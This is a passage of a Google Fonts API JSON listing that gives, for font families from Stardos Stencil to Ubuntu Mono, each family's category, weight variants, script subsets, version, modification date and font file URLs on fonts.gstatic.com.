"files": { "regular": "http://fonts.gstatic.com/s/stardosstencil/v10/X7n94bcuGPC8hrvEOHXOgaKCc2TR71R3tiSx0g.ttf", "700": "http://fonts.gstatic.com/s/stardosstencil/v10/X7n44bcuGPC8hrvEOHXOgaKCc2TpU3tTvg-t29HSHw.ttf" } }, { "kind": "webfonts#webfont", "family": "Stint Ultra Condensed", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/stintultracondensed/v8/-W_gXIrsVjjeyEnPC45qD2NoFPtBE0xCh2A-qhUO2cNvdg.ttf" } }, { "kind": "webfonts#webfont", "family": "Stint Ultra Expanded", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/stintultraexpanded/v7/CSRg4yNNh-GbW3o3JkwoDcdvMKMf0oBAd0qoATQkWwam.ttf" } }, { "kind": "webfonts#webfont", "family": "Stoke", "category": "serif", "variants": [ "300", "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/stoke/v9/z7NXdRb7aTMfKNvFVgxC_pjcTeWU.ttf", "regular": "http://fonts.gstatic.com/s/stoke/v9/z7NadRb7aTMfKONpfihK1YTV.ttf" } }, { "kind": "webfonts#webfont", "family": "Strait", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/strait/v7/DtViJxy6WaEr1LZzeDhtkl0U7w.ttf" } }, { "kind": "webfonts#webfont", "family": "Stylish", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/stylish/v8/m8JSjfhPYriQkk7-fo35dLxEdmo.ttf" } }, { "kind": "webfonts#webfont", "family": "Sue Ellen Francisco", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sueellenfrancisco/v10/wXK3E20CsoJ9j1DDkjHcQ5ZL8xRaxru9ropF2lqk9H4.ttf" } }, { "kind": "webfonts#webfont", "family": "Suez One", "category": "serif", "variants": [ "regular" ], "subsets": [ "hebrew", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/suezone/v4/taiJGmd_EZ6rqscQgNFJkIqg-I0w.ttf" } }, { "kind": "webfonts#webfont", "family": "Sulphur Point", "category": "sans-serif", "variants": [ "300", "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "300": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLpkK5vv8KaycDcazWFPBj2afVU6n6kFUHPIFaU.ttf", "regular": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLp5K5vv8KaycDcazWFPBj2aRfkSu6EuTHo.ttf", "700": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLpkK5vv8KaycDcazWFPBj2afUU9n6kFUHPIFaU.ttf" } }, { "kind": "webfonts#webfont", "family": "Sumana", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sumana/v4/4UaDrE5TqRBjGj-G8Bji76zR4w.ttf", "700": "http://fonts.gstatic.com/s/sumana/v4/4UaArE5TqRBjGj--TDfG54fN6ppsKg.ttf" } }, { "kind": "webfonts#webfont", "family": "Sunflower", "category": "sans-serif", "variants": [ "300", "500", "700" ], "subsets": [ "korean", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-06MfiqYsGBGBzCw.ttf", "500": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0sMbiqYsGBGBzCw.ttf", "700": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0-MDiqYsGBGBzCw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sunshiney", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sunshiney/v10/LDIwapGTLBwsS-wT4vcgE8moUePWkg.ttf" } }, { "kind": "webfonts#webfont", "family": "Supermercado One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/supermercadoone/v9/OpNXnpQWg8jc_xps_Gi14kVVEXOn60b3MClBRTs.ttf" } }, { "kind": "webfonts#webfont", "family": "Sura", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sura/v4/SZc23FL5PbyzFf5UWzXtjUM.ttf", "700": "http://fonts.gstatic.com/s/sura/v4/SZc53FL5PbyzLUJ7fz3GkUrS8DI.ttf" } }, { "kind": "webfonts#webfont", "family": "Suranna", "category": "serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/suranna/v7/gokuH6ztGkFjWe58tBRZT2KmgP0.ttf" } }, { "kind": "webfonts#webfont", "family": "Suravaram", "category": "serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/suravaram/v6/_gP61R_usiY7SCym4xIAi261Qv9roQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Suwannaphum", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/suwannaphum/v13/jAnCgHV7GtDvc8jbe8hXXIWl_8C0Wg2V.ttf" } }, { "kind": "webfonts#webfont", "family": "Swanky and Moo Moo", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/swankyandmoomoo/v9/flUlRrKz24IuWVI_WJYTYcqbEsMUZ3kUtbPkR64SYQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Syncopate", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/syncopate/v11/pe0sMIuPIYBCpEV5eFdyAv2-C99ycg.ttf", "700": "http://fonts.gstatic.com/s/syncopate/v11/pe0pMIuPIYBCpEV5eFdKvtKaA_Rue1UwVg.ttf" } }, { "kind": "webfonts#webfont", "family": "Tajawal", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "arabic", "latin" ], "version": "v3", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l_6gLrZjiLlJ-G0.ttf", "300": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5qjLrZjiLlJ-G0.ttf", "regular": "http://fonts.gstatic.com/s/tajawal/v3/Iura6YBj_oCad4k1rzaLCr5IlLA.ttf", "500": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l8KiLrZjiLlJ-G0.ttf", "700": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l4qkLrZjiLlJ-G0.ttf", "800": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5anLrZjiLlJ-G0.ttf", "900": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l7KmLrZjiLlJ-G0.ttf" } }, { "kind": "webfonts#webfont", "family": "Tangerine", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tangerine/v11/IurY6Y5j_oScZZow4VOBDpxNhLBQ4Q.ttf", "700": "http://fonts.gstatic.com/s/tangerine/v11/Iurd6Y5j_oScZZow4VO5srNpjJtM6G0t9w.ttf" } }, { "kind": "webfonts#webfont", "family": "Taprom", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/taprom/v11/UcCn3F82JHycULbFQyk3-0kvHg.ttf" } }, { "kind": "webfonts#webfont", "family": "Tauri", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tauri/v8/TwMA-IISS0AM3IpVWHU_TBqO.ttf" } }, { "kind": "webfonts#webfont", "family": "Taviraj", "category": "serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/taviraj/v5/ahcbv8Cj3ylylTXzRIorV8N1jU2gog.ttf", "100italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcdv8Cj3ylylTXzTOwTM8lxr0iwolLl.ttf", "200": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRCYKd-lbgUS5u0s.ttf", "200italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTn-hRhWa8q0v8ag.ttf", "300": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzREIJd-lbgUS5u0s.ttf", "300italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT--tRhWa8q0v8ag.ttf", "regular": "http://fonts.gstatic.com/s/taviraj/v5/ahcZv8Cj3ylylTXzfO4hU-FwnU0.ttf", "italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcbv8Cj3ylylTXzTOwrV8N1jU2gog.ttf", "500": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRBoId-lbgUS5u0s.ttf", "500italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTo-pRhWa8q0v8ag.ttf", "600": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRDYPd-lbgUS5u0s.ttf", "600italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTj-1RhWa8q0v8ag.ttf", "700": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRFIOd-lbgUS5u0s.ttf", "700italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT6-xRhWa8q0v8ag.ttf", "800": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRE4Nd-lbgUS5u0s.ttf", "800italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT9-9RhWa8q0v8ag.ttf", "900": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRGoMd-lbgUS5u0s.ttf", "900italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT0-5RhWa8q0v8ag.ttf" } }, { "kind": "webfonts#webfont", "family": "Teko", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdQhfgCNqqVIuTN4.ttf", "regular": "http://fonts.gstatic.com/s/teko/v9/LYjNdG7kmE0gTaR3pCtBtVs.ttf", "500": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdVBegCNqqVIuTN4.ttf", "600": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdXxZgCNqqVIuTN4.ttf", "700": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdRhYgCNqqVIuTN4.ttf" } }, { "kind": "webfonts#webfont", "family": "Telex", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/telex/v8/ieVw2Y1fKWmIO9fTB1piKFIf.ttf" } }, { "kind": "webfonts#webfont", "family": "Tenali Ramakrishna", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tenaliramakrishna/v6/raxgHj6Yt9gAN3LLKs0BZVMo8jmwn1-8KJXqUFFvtA.ttf" } }, { "kind": "webfonts#webfont", "family": "Tenor Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tenorsans/v11/bx6ANxqUneKx06UkIXISr3JyC22IyqI.ttf" } }, { "kind": "webfonts#webfont", "family": "Text Me One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/textmeone/v7/i7dOIFdlayuLUvgoFvHQFWZcalayGhyV.ttf" } }, { "kind": "webfonts#webfont", "family": "Thasadith", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/thasadith/v3/mtG44_1TIqPYrd_f5R1YsEkU0CWuFw.ttf", "italic": "http://fonts.gstatic.com/s/thasadith/v3/mtG-4_1TIqPYrd_f5R1oskMQ8iC-F1ZE.ttf", "700": "http://fonts.gstatic.com/s/thasadith/v3/mtG94_1TIqPYrd_f5R1gDGYw2A6yHk9d8w.ttf", "700italic": "http://fonts.gstatic.com/s/thasadith/v3/mtGj4_1TIqPYrd_f5R1osnus3QS2PEpN8zxA.ttf" } }, { "kind": "webfonts#webfont", "family": "The Girl Next Door", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/thegirlnextdoor/v10/pe0zMJCIMIsBjFxqYBIcZ6_OI5oFHCYIV7t7w6bE2A.ttf" } }, { "kind": "webfonts#webfont", "family": "Tienne", "category": "serif", "variants": [ "regular", "700", "900" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tienne/v12/AYCKpX7pe9YCRP0LkEPHSFNyxw.ttf", "700": "http://fonts.gstatic.com/s/tienne/v12/AYCJpX7pe9YCRP0zLGzjQHhuzvef5Q.ttf", "900": "http://fonts.gstatic.com/s/tienne/v12/AYCJpX7pe9YCRP0zFG7jQHhuzvef5Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Tillana", "category": "handwriting", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tillana/v5/VuJxdNvf35P4qJ1OeKbXOIFneRo.ttf", "500": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQFL-HIlMZRNcp0o.ttf", "600": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQH75HIlMZRNcp0o.ttf", "700": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQBr4HIlMZRNcp0o.ttf", "800": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQAb7HIlMZRNcp0o.ttf" } }, { "kind": "webfonts#webfont", "family": "Timmana", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/timmana/v4/6xKvdShfL9yK-rvpCmvbKHwJUOM.ttf" } }, { "kind": "webfonts#webfont", "family": "Tinos", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "hebrew", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/tinos/v13/buE4poGnedXvwgX8dGVh8TI-.ttf", "italic": "http://fonts.gstatic.com/s/tinos/v13/buE2poGnedXvwjX-fmFD9CI-4NU.ttf", "700": "http://fonts.gstatic.com/s/tinos/v13/buE1poGnedXvwj1AW0Fp2i43-cxL.ttf", "700italic": "http://fonts.gstatic.com/s/tinos/v13/buEzpoGnedXvwjX-Rt1s0CoV_NxLeiw.ttf" } }, { "kind": "webfonts#webfont", "family": "Titan One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/titanone/v7/mFTzWbsGxbbS_J5cQcjykzIn2Etikg.ttf" } }, { "kind": "webfonts#webfont", "family": "Titillium Web", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "900" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-22", "files": { "200": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffAzHKIx5YrSYqWM.ttf", "200italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbewI1zZpaduWMmxA.ttf", "300": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffGjEKIx5YrSYqWM.ttf", "300italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbepI5zZpaduWMmxA.ttf", "regular": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPecZTIAOhVxoMyOr9n_E7fRMTsDIRSfr0.ttf", "italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPAcZTIAOhVxoMyOr9n_E7fdMbmCKZXbr2BsA.ttf", "600": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffBzCKIx5YrSYqWM.ttf", "600italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbe0IhzZpaduWMmxA.ttf", "700": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffHjDKIx5YrSYqWM.ttf", "700italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbetIlzZpaduWMmxA.ttf", "900": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffEDBKIx5YrSYqWM.ttf" } }, { "kind": "webfonts#webfont", "family": "Tomorrow", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v2", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/tomorrow/v2/WBLgrETNbFtZCeGqgR2xe2XiKMiokE4.ttf", "100italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLirETNbFtZCeGqgRXXQwHoLOqtgE5h0A.ttf", "200": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0dWkXIBsShiVd4.ttf", "200italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ63JDMCDjEd4yVY.ttf", "300": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR15WUXIBsShiVd4.ttf", "300italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ8nKDMCDjEd4yVY.ttf", "regular": "http://fonts.gstatic.com/s/tomorrow/v2/WBLmrETNbFtZCeGqgSXVcWHALdio.ttf", "italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLgrETNbFtZCeGqgRXXe2XiKMiokE4.ttf", "500": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0hWEXIBsShiVd4.ttf", "500italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ5HLDMCDjEd4yVY.ttf", "600": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0NX0XIBsShiVd4.ttf", "600italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ73MDMCDjEd4yVY.ttf", "700": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR1pXkXIBsShiVd4.ttf", "700italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ9nNDMCDjEd4yVY.ttf", "800": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR11XUXIBsShiVd4.ttf", "800italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ8XODMCDjEd4yVY.ttf", "900": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR1RXEXIBsShiVd4.ttf", "900italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ-HPDMCDjEd4yVY.ttf" } }, { "kind": "webfonts#webfont", "family": "Trade Winds", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tradewinds/v8/AYCPpXPpYNIIT7h8-QenM3Jq7PKP5Z_G.ttf" } }, { "kind": "webfonts#webfont", "family": "Trirong", "category": "serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/trirong/v5/7r3EqXNgp8wxdOdOl-go3YRl6ujngw.ttf", "100italic": "http://fonts.gstatic.com/s/trirong/v5/7r3CqXNgp8wxdOdOn44QuY5hyO33g8IY.ttf", "200": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl0QJ_a5L5uH-mts.ttf", "200italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QFa9B4sP7itsB5g.ttf", "300": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlyAK_a5L5uH-mts.ttf", "300italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QcaxB4sP7itsB5g.ttf", "regular": "http://fonts.gstatic.com/s/trirong/v5/7r3GqXNgp8wxdOdOr4wi2aZg-ug.ttf", "italic": "http://fonts.gstatic.com/s/trirong/v5/7r3EqXNgp8wxdOdOn44o3YRl6ujngw.ttf", "500": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl3gL_a5L5uH-mts.ttf", "500italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QKa1B4sP7itsB5g.ttf", "600": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl1QM_a5L5uH-mts.ttf", "600italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QBapB4sP7itsB5g.ttf", "700": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlzAN_a5L5uH-mts.ttf", "700italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QYatB4sP7itsB5g.ttf", "800": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlywO_a5L5uH-mts.ttf", "800italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QfahB4sP7itsB5g.ttf", "900": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlwgP_a5L5uH-mts.ttf", "900italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QWalB4sP7itsB5g.ttf" } }, { "kind": "webfonts#webfont", "family": "Trocchi", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/trocchi/v8/qWcqB6WkuIDxDZLcDrtUvMeTYD0.ttf" } }, { "kind": "webfonts#webfont", "family": "Trochut", "category": "display", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/trochut/v7/CHyjV-fDDlP9bDIw5nSIfVIPLns.ttf", "italic": "http://fonts.gstatic.com/s/trochut/v7/CHyhV-fDDlP9bDIw1naCeXAKPns8jw.ttf", "700": "http://fonts.gstatic.com/s/trochut/v7/CHymV-fDDlP9bDIw3sinWVokMnIllmA.ttf" } }, { "kind": "webfonts#webfont", "family": "Trykker", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/trykker/v8/KtktALyWZJXudUPzhNnoOd2j22U.ttf" } }, { "kind": "webfonts#webfont", "family": "Tulpen One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tulpenone/v9/dFa6ZfeC474skLgesc0CWj0w_HyIRlE.ttf" } }, { "kind": "webfonts#webfont", "family": "Turret Road", "category": "display", "variants": [ "200", "300", "regular", "500", "700", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "200": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0ONEdeLYk1Mq3ap.ttf", "300": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0PpEteLYk1Mq3ap.ttf", "regular": "http://fonts.gstatic.com/s/turretroad/v1/pxiAypMgpcBFjE84Zv-fE3tFOvODSVFF.ttf", "500": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0OxE9eLYk1Mq3ap.ttf", "700": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0P5FdeLYk1Mq3ap.ttf", "800": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0PlFteLYk1Mq3ap.ttf" } }, { "kind": "webfonts#webfont", "family": "Ubuntu", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoC1CzTt2aMH4V_gg.ttf", "300italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejZftWyIPYBvgpUI.ttf", "regular": "http://fonts.gstatic.com/s/ubuntu/v14/4iCs6KVjbNBYlgo6eAT3v02QFg.ttf", "italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCu6KVjbNBYlgoKeg7znUiAFpxm.ttf", "500": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoCjC3Tt2aMH4V_gg.ttf", "500italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejYHtGyIPYBvgpUI.ttf", "700": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoCxCvTt2aMH4V_gg.ttf", "700italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejZPsmyIPYBvgpUI.ttf" } }, { "kind": "webfonts#webfont", "family": "Ubuntu Condensed", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/ubuntucondensed/v10/u-4k0rCzjgs5J7oXnJcM_0kACGMtf-fVqvHoJXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Ubuntu Mono", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ubuntumono/v9/KFOjCneDtsqEr0keqCMhbBc9AMX6lJBP.ttf", "italic": "http://fonts.gstatic.com/s/ubuntumono/v9/KFOhCneDtsqEr0keqCMhbCc_CsHYkYBPY3o.ttf", "700": "http://fonts.gstatic.com/s/ubuntumono/v9/KFO-CneDtsqEr0keqCMhbC-BL-Hyv4xGemO1.ttf", "700italic": 